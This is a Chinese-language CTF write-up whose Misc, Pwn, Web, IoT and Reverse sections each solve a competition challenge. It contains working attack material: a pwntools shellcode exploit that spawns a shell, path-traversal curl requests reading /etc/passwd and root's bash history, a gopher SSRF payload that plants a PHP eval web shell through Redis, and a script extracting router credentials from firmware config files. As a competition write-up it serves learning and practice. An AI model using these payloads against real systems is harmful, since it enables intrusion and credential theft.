Misc
两极反转
题目所给的二维码是一个29x29的二维码,与正常的二维码比较发现,题目所给的二维码定位符有问题,再结合题目描述中的
两极反转,黑白不分 奇变偶不变,横变竖不变
可以推出从第9行开始,奇数行所有黑白反转,偶数行不变,直到倒数第九行
先写脚本将01数据拿出来写脚本
from PIL import Image
# 读取二维码图像
image = Image.open('qr.png')
# 将图像调整为 29x29 尺寸
image = image.resize((29, 29))
# 将图像转换为黑白模式(二值化)
bw_image = image.convert('1')
# 获取图像的像素数据
pixels = list(bw_image.getdata())
# 将黑色方块转换为 1,白色方块转换为 0,并一行一行输出
for i in range(29):
print(''.join(['1' if pixels[i*29+j] == 0 else '0' for j in range(29)]))
得到
11111110111100001010001111111
10000010001101000110001000001
10111010001110111001001011101
10111010111010000010101011101
10111010000011010011101011101
10000010000000011101001000001
11111110101010101010101111111
00000000001001011110000000000
11010001001110110101001110110
01101101011010011011001101011
11100000100100100111110111000
00011100100111001001111101011
11011001100011001110110000100
01000100101011101000101000100
00110100010111000001110011000
11001100111110010011100110001
10000000011001001011110011101
00011001111101100000101001011
01100100111000000001110101000
01010000110001001101001001011
01001001010111111100000000100
00000000110111100001100011000
11111110010110011001101011111
10000010101000110010100010000
10111010101100110000111110011
10111010000111011101100011000
10111010110100000001111111101
10000010001100101000100011010
11111110000111110111110111011
从第九行开始翻转
def swap_zeros_and_ones(binary_str):
result = ''
for bit in binary_str:
if bit == '0':
result += '1'
else:
result += '0'
return result
data = [
"11010001001110110101001110110",
"01101101011010011011001101011",
"11100000100100100111110111000",
"00011100100111001001111101011",
"11011001100011001110110000100",
"01000100101011101000101000100",
"00110100010111000001110011000",
"11001100111110010011100110001",
"10000000011001001011110011101",
"00011001111101100000101001011",
"01100100111000000001110101000",
"01010000110001001101001001011",
"01001001010111111100000000100"
]
# 对每行进行处理
for index, line in enumerate(data):
if index % 2 == 0: # 奇数行
print(swap_zeros_and_ones(line))
else: # 偶数行
print(line)
翻转后得到
00101110110001001010110001001
01101101011010011011001101011
00011111011011011000001000111
00011100100111001001111101011
00100110011100110001001111011
01000100101011101000101000100
11001011101000111110001100111
11001100111110010011100110001
01111111100110110100001100010
00011001111101100000101001011
10011011000111111110001010111
01010000110001001101001001011
10110110101000000011111111011
最终的二维码数据是
11111110111100001010001111111
10000010001101000110001000001
10111010001110111001001011101
10111010111010000010101011101
10111010000011010011101011101
10000010000000011101001000001
11111110101010101010101111111
00000000001001011110000000000
00101110110001001010110001001
01101101011010011011001101011
00011111011011011000001000111
00011100100111001001111101011
00100110011100110001001111011
01000100101011101000101000100
11001011101000111110001100111
11001100111110010011100110001
01111111100110110100001100010
00011001111101100000101001011
10011011000111111110001010111
01010000110001001101001001011
10110110101000000011111111011
00000000110111100001100011000
11111110010110011001101011111
10000010101000110010100010000
10111010101100110000111110011
10111010000111011101100011000
10111010110100000001111111101
10000010001100101000100011010
11111110000111110111110111011
转换为二维码可得到:https://bahamas10.github.io/binary-to-qrcode/
扫码得到flag:https://cli.im/deqr/other
Flag:flag{R3Ver5e_P014r17y}
真假补丁
根据上传的%E8%A1%A5%E4%B8%81.exe运行可以得到两个exe文件分别是补丁检测.exe和补丁修复.exe,其中有很多重要的信息可以推出是aes加密
再加上tcp追踪到的第二个流可以得到加密数据
先追踪tcp第一个流,可以发现上传了一个exe
导出对象中找到上传的%E8%A1%A5%E4%B8%81.exe
这是一个自解压的程序,点击运行之后会得到两个exe
查壳会发现修复的exe是一个python3.8的库,检测的exe也是一个python3.8的库
不知道怎么查看这两个exe,运行不了,就直接010editor搜索了,在修复.exe末尾发现aes加密
可以猜测key和iv是文件的md5值和affe01db6b79092b8(这里是17位,iv一般是16位,那么就是多了一个字符,需要删掉a,也就是iv=ffe01db6b79092b8
文件的md5值就是补丁检测.exe key=324dd63a6365ca7729c8f85b6e479834
加密的数据在tcp的第二个流中
cyberchef一把梭就可以得到flag了,还要注意的是data数据需要url解密一下
Flag:flag{84f6a6a2-7e96-4ac4-9a5b-4b05a252559f}
SPY2.0
在pcapng文件中导出图片
Steganography.js解密png图片
binwalk可以找到监察员lulu猪的照片,但是图片不全,也可以正常解出Flag
使用dd
命令来提取偏移量为8849367(十六进制为0x8707D7)的位置处的PNG图像
dd if=attach.pcapng skip=8849367 bs=1 of=flag.png
搜索隐写术.js会发现其实就是Steganography.js
找到一个可以解密的在线网站:https://www.peter-eigenschink.at/projects/steganographyjs/showcase/
在线解密得到flag
Flag:flag{LUlu_p199y_0m8uD5m4N_rEp0r75_70_Y0U}
Pwn
fshell
花指令去除,类型转换,shellcode绕过
存在花指令,需要去花后才能正常反编译
登录函数gdb调式直接绕过
根据加密函数内容解下密就可以得到密码了
pd = "xiaaewzl"
en = ""
for x in range(len(pd)):
for i in range(0,256):
a = i
if i<=96 or i>122:
if i>64 and i<=90:
a = (i-65+9)%26+65
else:
a = (i-97+9)%26+97
if chr(a)==pd[x]:
print(chr(i),end='')
break
在Decrypted中存在函数直接调用写入的shellcode
但需要先去6功能中进行权限提升
但写入shellcode,需要条件,首先是从int型,除以我们控制的12的倍数后变为long double型,然后long double型变为float型去检查最后一字节要大于'J',所以这里的考点应该数类型的转化,这里直接用chatgpt给转一下
import ctypes
from pwn import *
context.arch = 'i386'
# 初始化一个 int 值
int2 = ctypes.c_int(0x3c)
# 修改内存内容的函数
def modify_memory(value, new_bytes):
ptr = ctypes.pointer(value)
byte_array = (ctypes.c_ubyte * len(new_bytes)).from_buffer_copy(new_bytes)
ctypes.memmove(ptr, byte_array, len(new_bytes))
# 初始 float 值
float_rel = ctypes.c_float(1.0)
# 打印修改前的 float 内存表示
float_bytes_before = ctypes.string_at(ctypes.byref(float_rel), ctypes.sizeof(float_rel))
print(f"修改前的 float 内存表示: {' '.join(f'{b:02X}' for b in float_bytes_before)}")
#shellcode = asm('pop eax;push eax;pop ebx;gs')
shellcode = asm('') + b'K' #保证最后一位是K
modify_memory(float_rel, shellcode)
# 打印修改后的 float 内存表示
float_bytes_after = ctypes.string_at(ctypes.byref(float_rel), ctypes.sizeof(float_rel))
print(f"修改后的 float 内存表示: {' '.join(f'{b:02X}' for b in float_bytes_after)}")
# 将修改后的 float 转换为 long double
mint = ctypes.c_longdouble(float_rel.value)
# 打印 long double 的内存表示
long_double_bytes = ctypes.string_at(ctypes.byref(mint), ctypes.sizeof(mint))
print(f"long double 的内存表示: {' '.join(f'{b:02X}' for b in long_double_bytes)}")
# 将 long double 转换为 int 并打印结果
x = mint.value * int2.value
print(x)
由于输入的是int型,4个字节,所以构造shellcode是只能控制前3个,一点一点改就ok
exp如下:
from pwn import *
from struct import *
from ctypes import *
from LibcSearcher import *
from functools import reduce
from z3 import *
import gmpy2
#import ctf_pb2
c = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# srop : frame = SigreturnFrame()
# fmt : fmtstr_payload(offset=7,writes={0x4031E0:0x0401445,0x403410:0x401445},numbwritten=((14*2)+1),write_size='short')
s = lambda a :pw.send(a)
sl = lambda a :pw.sendline(a)
sa = lambda a,b :pw.sendafter(a,b)
sla = lambda a,b :pw.sendlineafter(a,b)
r = lambda a=6666 :pw.recv(a)
rl = lambda :pw.recvline()
ru = lambda a,b=True :pw.recvuntil(a,b)
g64 = lambda :u64(pw.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
g32 = lambda :u32(pw.recvuntil(b'\xf7').ljust(4,b'\x00'))
gl = lambda a :u64(pw.recvuntil(a,drop=True).ljust(8,b'\x00'))
gc = lambda a :u64(pw.recv(7).rjust(8,b'\x00'))
pwpw = lambda :pw.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def sb(libc_base):
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def orw(libc_base):
return libc_base + libc.sym['open'], libc_base + libc.sym['read'], libc_base + libc.sym['write']
def search():
libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc.dump("system") + libc_base
binsh = libc.dump("str_bin_sh") + libc_base
return system,binsh
def dbg(a=''):
if a !='':
gdb.attach(pw,a)
pause()
else:
gdb.attach(pw)
pause()
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.arch='i386'
# context.arch = 'i386'
file = './main'
elf = ELF(file)
# libc = ELF('/home/pw/pwn_tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug == 0:
pw = process(file)
if debug == 1:
pw = remote("pwn-ee4964bb96.challenge.xctf.org.cn", 9999, ssl=True)
#----------------------------------------------------------------------
dbg('b *0x804a08f')
def en(offset,text):
sla(b'@@:',str(2))
sla('offset:',str(offset))
sla(b'encrypt:',text)
def de(offset,text):
sla(b'@@:',str(3))
sla('offset:',str(offset))
sla(b'decrypt:',text)
sla(b'@@:',str(1))
sla(b'username:',b'user')
sla(b'password:',b'ozrrvnqc')
sla(b'@@:',str(6))
# dbg('b *0x804a203')
de(0,b'a'*20)
sl(str(858613440)) #asm('push eax;pop ebx;pop edx') + b'K'
sl(str(801569700)) # xchg ecx,ebx
sl(str(801180540)) # xor eax,eax
sl(str(518069940)) # add eax,3
sl(str(545641140)) #add ebx,10
sl(str(799384980)) #kkkk
sl(str(926035980)) #int 80
sl(str(0))
sl(asm('nop')*0x20+asm(shellcraft.sh()))
# sl(str(10000))
# dbg()
pwpw()
Web
where
┌──(kali㉿kali)-[/tmp]
└─$ curl http://web-9b74f20515.challenge.xctf.org.cn/look?file=/etc/passwd
抓紧找,着急下班root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
┌──(kali㉿kali)-[/tmp]
└─$ curl http://web-9b74f20515.challenge.xctf.org.cn/look?file=/app/app.py
打卡下班from flask import Flask,Response, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
return "flag被我藏起来了,/look一下file看看呢"
@app.route('/look', methods=['GET', 'POST'])
def readfile():
if request.values.get('file'):
file = request.values.get('file')
f= open(file,encoding='utf-8')
content=f.read()
f.close()
if 'flag' in content:
return "打卡下班"+content
else:
return "抓紧找,着急下班"+content
return "找找看,我着急下班"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
┌──(kali㉿kali)-[/tmp]
└─$ curl http://web-9b74f20515.challenge.xctf.org.cn/look?file=/root/.bash_history
打卡下班flag{hmkOEqSXHKHacrnYhSH9UvhUlkdlQrh5}
easyweb
访问/flag.php
F12 下载 加密的代码.zip
<?php
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && $_GET['id'] == 1)
{
echo 'welcome,admin';
$_SESSION['admin'] = True;
}
else
{
die('flag?');
}
?>
<?php
if ($_SESSION['admin'])
{
if(isset($_POST['code']))
{
if(preg_match("/(ls|c|a|t| |f|i|n|d')/", $_POST['code'])==1)
echo 'no!';
elseif(preg_match("/[@#%^&*()|\/?><']/",$_POST['code'])==1)
echo 'no!';
else
system($_POST['code']);
}
}
?>
tantantan
发现敏感文件 aaabbb.php
发现存在ssrf
ssrf内网探测 当探索redis服务时,明显的延时
尝试打redis
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0aconfig%20set%20dbfilename%20shell.php%0D%0aset%20payload%20%22%3C%3Fphp%20eval(%5C%24_POST%5B1%5D)%3B%3F%3E%22%0D%0asave%0D%0aquit
getflag
IOT
special
binwalk分离出来一坨
直接字符搜索,什么huawei,tplink,totolink一个一个试
直接找到版本号,哪年的都找到了,直接cve
结合题目要求找到密码,找到一个适合的cve,搜索他的poc
找了我好久,下载直接利用即可,网站的poc是直接打开config.dat,由于我们不知道哪个文件是config.dat,就直接求助chatgpt改下脚本写个爆破即可,就是把每个文件都跑一遍
exp如下:
#!/bin/bash
if [ "$#" -ne 1 ]; then
echo "Routers backed by Realtek hardware with Boa HTTP server and using apmib library for flash management."
echo "Identitifed vulnerable vendors: Multiple vendors, e.g. TOTOLINK, CIK Telecom, Sapido Fibergate Inc., MAX-C300N, T-BROAD and possibly others.."
echo ""
echo "Credits: br0x | https://sploit.tech"
echo ""
echo "Usage: "
echo "$0 directory"
exit 1
fi
DIR=$1
OUTPUT_FILE="credentials.txt"
if [ ! -f decode ]; then
echo -n "Compiling decoder.."
cat <<EOF > decode.c
/**
* Based on apmib.h from:
* Copyright (C) 2006-2009 OpenWrt.org
* Original author - David Hsu <davidhsu@realtek.com.tw>
*/
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <endian.h>
#define N 4096 /* size of ring buffer */
#define F 18 /* upper limit for match_length */
#define THRESHOLD 2 /* encode string into position and length if match_length is greater than this */
static unsigned char *text_buf; /* ring buffer of size N, with extra F-1 bytes to facilitate string comparison */
#define LZSS_TYPE unsigned short
#define NIL N /* index for root of binary search trees */
struct lzss_buffer {
unsigned char text_buf[N + F - 1];
LZSS_TYPE lson[N + 1];
LZSS_TYPE rson[N + 257];
LZSS_TYPE dad[N + 1];
};
static LZSS_TYPE match_position, match_length; /* of longest match. These are set by the InsertNode() procedure. */
static LZSS_TYPE *lson, *rson, *dad; /* left & right children & parents -- These constitute binary search trees. */
typedef struct compress_mib_header {
unsigned char signature[6];
unsigned short compRate;
unsigned int compLen;
} COMPRESS_MIB_HEADER_T;
#define handle_error(msg) \
do { perror(msg); exit(EXIT_FAILURE); } while (0)
int Decode(unsigned char *ucInput, unsigned int inLen, unsigned char *ucOutput) /* Just the reverse of Encode(). */
{
int i, j, k, r, c;
unsigned int flags;
unsigned int ulPos=0;
unsigned int ulExpLen=0;
if ((text_buf = malloc( N + F - 1 )) == 0) {
//fprintf(stderr, "fail to get mem %s:%d\n", __FUNCTION__, __LINE__);
return 0;
}
for (i = 0; i < N - F; i++)
text_buf[i] = ' ';
r = N - F;
flags = 0;
while(1) {
if (((flags >>= 1) & 256) == 0) {
c = ucInput[ulPos++];
if (ulPos>inLen)
break;
flags = c | 0xff00; /* uses higher byte cleverly */
} /* to count eight */
if (flags & 1) {
c = ucInput[ulPos++];
if ( ulPos > inLen )
break;
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
} else {
i = ucInput[ulPos++];
if ( ulPos > inLen ) break;
j = ucInput[ulPos++];
if ( ulPos > inLen ) break;
i |= ((j & 0xf0) << 4);
j = (j & 0x0f) + THRESHOLD;
for (k = 0; k <= j; k++) {
c = text_buf[(i + k) & (N - 1)];
ucOutput[ulExpLen++] = c;
text_buf[r++] = c;
r &= (N - 1);
}
}
}
free(text_buf);
return ulExpLen;
}
void main(int argc, char**argv) {
char *addr;
int fd;
struct stat sb;
off_t offset, pa_offset;
size_t length;
ssize_t s;
char* filename = "config.dat";
COMPRESS_MIB_HEADER_T * header;
if (argc>2) {
printf("Wrong number of parameters!");
exit(1);
}
if (argc==2) {
filename=argv[1];
}
fd = open(filename, O_RDONLY);
if (fd == -1)
handle_error("open");
if (fstat(fd, &sb) == -1) /* To obtain file size */
handle_error("fstat");
addr = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
header = (COMPRESS_MIB_HEADER_T*)addr;
printf("%u\n", be16toh(header->compRate));
printf("%u\n", be32toh(header->compLen));
printf("%u\n", sb.st_size);
unsigned char *expFile=NULL;
expFile=calloc(1,be16toh(header->compRate)*be32toh(header->compLen));
unsigned int expandLen = Decode(addr+sizeof(COMPRESS_MIB_HEADER_T), be32toh(header->compLen), expFile);
printf("%u\n", expandLen);
printf("%.*s\n",100, expFile);
fwrite(expFile, 1, expandLen, stdout);
//flash_read_raw_mib("config.dat");
}
EOF
gcc -o decode decode.c
echo "OK"
fi
echo "" > $OUTPUT_FILE
for config in "$DIR"/*; do
if [ -f "$config" ]; then
CMD="$(echo "$2" | perl -MURI::Escape -ne "chomp;print uri_escape(\$_),\"\\n\"")"
P=$(./decode "$config" | xxd -p | tr -d '\n' | grep -Po 'b7001f.*?00' | sed 's#00$##g' | sed 's#b7001f##g' | xxd -r -p)
U=$(./decode "$config" | xxd -p | tr -d '\n' | grep -Po 'b6001f.*?00' | sed 's#00$##g' | sed 's#b6001f##g' | xxd -r -p)
if [ -n "$U" ] && [ -n "$P" ]; then
echo "File: $config" >> $OUTPUT_FILE
echo "User: $U" >> $OUTPUT_FILE
echo "Password: $P" >> $OUTPUT_FILE
echo "" >> $OUTPUT_FILE
fi
fi
done
echo "Extraction complete. Credentials are stored in $OUTPUT_FILE"
跑完得到密码
Flag:flag{0e327444a0ef9a1819c341f396d97b18}
REVERSE
packpy
首先发现他是upx的壳,后面发现脱壳不成功,看了眼题目,直接去010看了一手
就是一个python,借助pycdc工具反编译
按照他的写法给base58解码然后zlib一下
由于我没有base58这个库,直接网站解码,然后保存文件
import zlib
file = open('1.dat','rb')
write = zlib.decompress(file.read())
file.close()
file = open('2.dat','wb')
file.write(write)
010一看就知道肯定是个pyc,但是缺少头,直接加上就ok
直接逆一逆写exp出flag
import random
encdata = b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff'
def generate_key(seed_value):
key = list(range(256))
random.seed(seed_value)
random.shuffle(key)
return bytes(key)
def encrypt(data, key):
encrypted = bytearray()
for byte in data:
encrypted.append(key[byte] ^ 95)
return bytes(encrypted)
# try:
# flag = input('input your flag:')
# key = generate_key(len(flag))
# data = flag.encode()
# encrypted_data = encrypt(data, key)
# if encrypted_data == encdata:
# print('good')
# finally:
# pass
# return None
# encdata = b'\x18\xfa\xadd\xed\xab\xad\x9d\xe5\xc0\xad\xfa\xf9\x0be\xf9\xe5\xade6\xf9\xfd\x88\xf9\x9d\xe5\x9c\xe5\x9de\xc3))\x0f\xff'
key = generate_key(len(encdata))
for byte in encdata:
d = byte ^ 95
print(chr(key.index(d)),end='')
Flag:flag{mar3hal_Is_3asy_t0_r3v3rse!!@}